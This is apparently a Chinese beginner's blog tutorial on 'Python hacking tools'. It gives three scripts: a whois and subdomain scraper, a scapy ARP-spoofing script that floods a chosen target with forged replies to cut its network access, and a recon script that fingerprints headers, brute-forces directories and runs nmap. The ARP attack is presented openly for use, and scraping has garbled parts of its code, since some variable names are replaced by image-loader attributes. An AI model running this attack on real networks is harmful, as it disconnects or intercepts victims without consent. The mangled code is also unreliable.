新手Python黑客工具入門

前言

為了滿足新手對Python的追求,特寫了三個初級Python入門工具。第一期寫了三個初級工具,希望新手看完以後可以對Python的腳本有一個基本瞭解。高手請繞過此文章!

一件套:pythond requests模塊,構造一個whois信息收集器;

二件套:Python編寫一個arp斷網攻擊;

三件套:目錄信息收集。

一件套前言: 帶給想寫項目但無從下手的朋友們,這些腳本都比較容易理解

簡單梳理一下此工具需要具備哪些功能。腳本獲取信息如下:

IP信息

子域名

備案

註冊人

郵箱

地址

電話

DNS

具體操作如下:

我們要用到的模塊是requests

python環境:py3

安裝方法:

pip install requests或python steup.py install

通過http://site.ip138.com來進行查詢

http://site.ip138.com/輸入你要查詢的域名/domain.html #這個目錄用於查詢IP解析記錄

htp://site.ip138.com/輸入你要查詢的域名/beian.html #這個用於查詢子域名

http://site.ip138.com/輸入你要查詢的域名/whois.html #這個用於進行whois查詢

好了現在我們開始構造我們的代碼,代碼裡面有詳細的註釋

<code>#首先我們要導入requests模塊和bs4模塊裡的BeautifulSoup和time模塊import requestsimport timefrom bs4 import BeautifulSoup#設置好開始時間點strat=time.time()def chax():  #詢問用戶要查詢的域名  lid=input('請輸入你要查詢的域名:')  #設置瀏覽器頭過反爬  head={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}  #設置好url  url="http://site.ip138.com/{}/".format(lid)  urldomain="http://site.ip138.com/{}/domain.htm".format(lid)  url2="http://site.ip138.com/{}/beian.htm".format(lid)  url3="http://site.ip138.com/{}/whois.htm".format(lid)  #打開網頁  rb=requests.get(url,headers=head)  rb1=requests.get(urldomain,headers=head)  rb2=requests.get(url2,headers=head)  rb3=requests.get(url3,headers=head)  #獲取內容並用html的方式返回  gf=BeautifulSoup(rb.content,'html.parser')  print('[+]IP解析記錄')  #讀取內容裡的p標籤  for x in gf.find_all('p'):    #使用text的內容返回    link=x.get_text()    print(link)gf1=BeautifulSoup(rb1.content,'html.parser')print('[+]子域名查詢')for v in gf1.find_all('p'):  link2=v.get_text()  print(link2)gf2=BeautifulSoup(rb2.content,'html.parser')print('[+]備案查詢')for s  in gf2.find_all('p'):  link3=s.get_text()  print(link3)gf3=BeautifulSoup(rb3.content,'html.parser')print('[+]whois查詢')for k in gf3.find_all('p'):  link4=k.get_text()  print(link4)chax()end=time.time()print('查詢耗時:',end-strat)/<code>
新手Python黑客工具入門

二件套: 使用python編寫一個arp斷網攻擊

你們知道arp攻擊的原理嗎?如果不知道不要緊,下面開始介紹

arp攻擊原理:

通過偽造IP地址與MAC地址實現ARP欺騙,在網絡發送大量ARP通信量。攻擊者只要持續不斷髮送arp包就能造成中間人攻擊或者斷網攻擊。(PS:我們只需要scapy裡的一些參數就可以實現)

scapy介紹:

Scapy是一個Python程序,使用戶能夠發送,嗅探和剖析和偽造網絡數據包。此功能允許構建可以探測,掃描或攻擊網絡的工具。

換句話說,Scapy是一個功能強大的交互式數據包處理程序。它能夠偽造或解碼大量協議的數據包,在線上發送,捕獲,匹配請求和回覆等等。Scapy可以輕鬆處理大多數經典任務,如掃描,追蹤,探測,單元測試,攻擊或網絡發現。它可以替代hping,arpspoof,arp-sk,arping,pf,甚至是Nmap,tcpdump和tshark的某些部分。scapy的一個小例子:

ps:scapy正確的食用手冊請認真看完介紹和部分基礎:【傳送門】

安裝scapy:

py2安裝方法:

pip install scapy

py3安裝方法:

pip install scapy3

更多的安裝方法:【傳送門】

我的系統環境是:Kali Linux下

各位讀者可以考慮一些使用以下系統環境:

Centos

Ubuntu

Mac os

ps:儘量不要使用windows,windows會報錯!

缺少windows.dll,具體這個dll安裝後會不會又報錯官方沒給出答覆

編寫攻擊的腳本: Ether是構造網絡數據包 ARP進行ARP攻擊 sendp進行發包

<code>    import osimport sysfrom scapy.layers.l2 import getmacbyipfrom scapy.all import (  Ether,  ARP,  sendp)        #執行查看IP的命令ifconfig=os.system('ifconfig')print ifconfiggmac=raw_input('Please enter gateway IP:')liusheng=raw_input('Please enter your IP:')liuclass="lazy" src="//p2.ttnews.xyz/loading.gif" data-original=raw_input('Please enter target IP:')try:    #獲取目標的mac  tg=getmacbyip(liusrc)  print tgexcept Exception , f:    print '[-]{}'.format(f)    exit()def arpspoof():  try:    eth=Ether()    arp=ARP(        op="is-at", #arp響應        hwclass="lazy" data-original=gmac, #網關mac        pclass="lazy" data-original=liusheng,#網關IP        hwdst=tg,#目標Mac        pdst=liusrc#目標IP    )    #對配置進行輸出    print ((eth/arp).show())    #開始發包    sendp(eth/arp,inter=2,loop=1)  except Exception ,g:      print '[-]{}'.format(g)      exit()arpspoof()/<code> 
新手Python黑客工具入門

從受害者角度看

新手Python黑客工具入門

三件套: 想要挖web漏洞就必須做好前面的信息收集

下面我們來寫一個收集信息的腳本。

準備:

安裝好requests,bs4模塊: pip install requests pip install bs4 或者去下載好對應的模塊壓縮包 然後找到steup.py執行python steup.py install

思路: 使用requests.headers()獲取http頭部信息 通過htp響應碼來判斷robots是否存在 通過http響應碼判斷存在的目錄 通過nmap判斷開放的端口(PS:這裡我是使用os模塊來進行nmap命令掃描)我這邊的nmap模塊一調用,nmap就會出現停止運行 通過爬取某網站獲得對應的whois,IP反查域名的信息。

開始:

<code>import requestsimport osimport socketfrom bs4 import BeautifulSoupimport time#獲取http指紋def Webfingerprintcollection():  global lgr  lgr=input('請輸入目標域名:')  url="http://{}".format(lgr)  header={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}  r=requests.get(url,headers=header)  xyt=r.headers  for key in xyt:      print(key,':',xyt[key])Webfingerprintcollection()print('================================================')#判斷有無robots.txtdef robots():  urlsd="http://{}/robots.txt".format(lgr)  header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}  gf=requests.get(urlsd,headers=header,timeout=8)  if gf.status_code == 200:      print('robots.txt存在')      print('[+]該站存在robots.txt',urlsd)  else:      print('[-]沒有robots.txt')robots()print("=================================================")#目錄掃描def Webdirectoryscanner():  dict=open('build.txt','r',encoding='utf-8').read().split('\\n')  for xyt in dict:      try:        header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}        urljc="http://"+lgr+"{}".format(xyt)        rvc=requests.get(urljc,headers=header,timeout=8)        if rvc.status_code == 200:            print('[*]',urljc)      except:          print('[-]遠程主機強迫關閉了一個現有的連接')Webdirectoryscanner()print("=====================================================")s = socket.gethostbyname(lgr)#端口掃描def portscanner():  o=os.system('nmap {} program'.format(s))  print(o)portscanner()print('======================================================')#whois查詢def whois():   heads={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}   urlwhois="http://site.ip138.com/{}/whois.htm".format(lgr)   rvt=requests.get(urlwhois,headers=heads)   bv=BeautifulSoup(rvt.content,"html.parser")   for line in bv.find_all('p'):       link=line.get_text()       print(link)whois()print('======================================================')#IP反查域名def IPbackupdomainname():    wu=socket.gethostbyname(lgr)    rks="http://site.ip138.com/{}/".format(wu)    rod={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}    sjk=requests.get(rks,headers=rod)    liverou=BeautifulSoup(sjk.content,'html.parser')    for low in liverou.find_all('li'):        bc=low.get_text()        print(bc)IPbackupdomainname()print('=======================================================')/<code>
新手Python黑客工具入門

最後,小編想說:我是一名python開發工程師,

整理了一套最新的python系統學習教程,

想要這些資料的可以關注私信小編“01”即可(免費分享哦)希望能對你有所幫助

正在學習python的小夥伴或者打算學習的,可以私信小編“01”領取資料


分享到:


相關文章: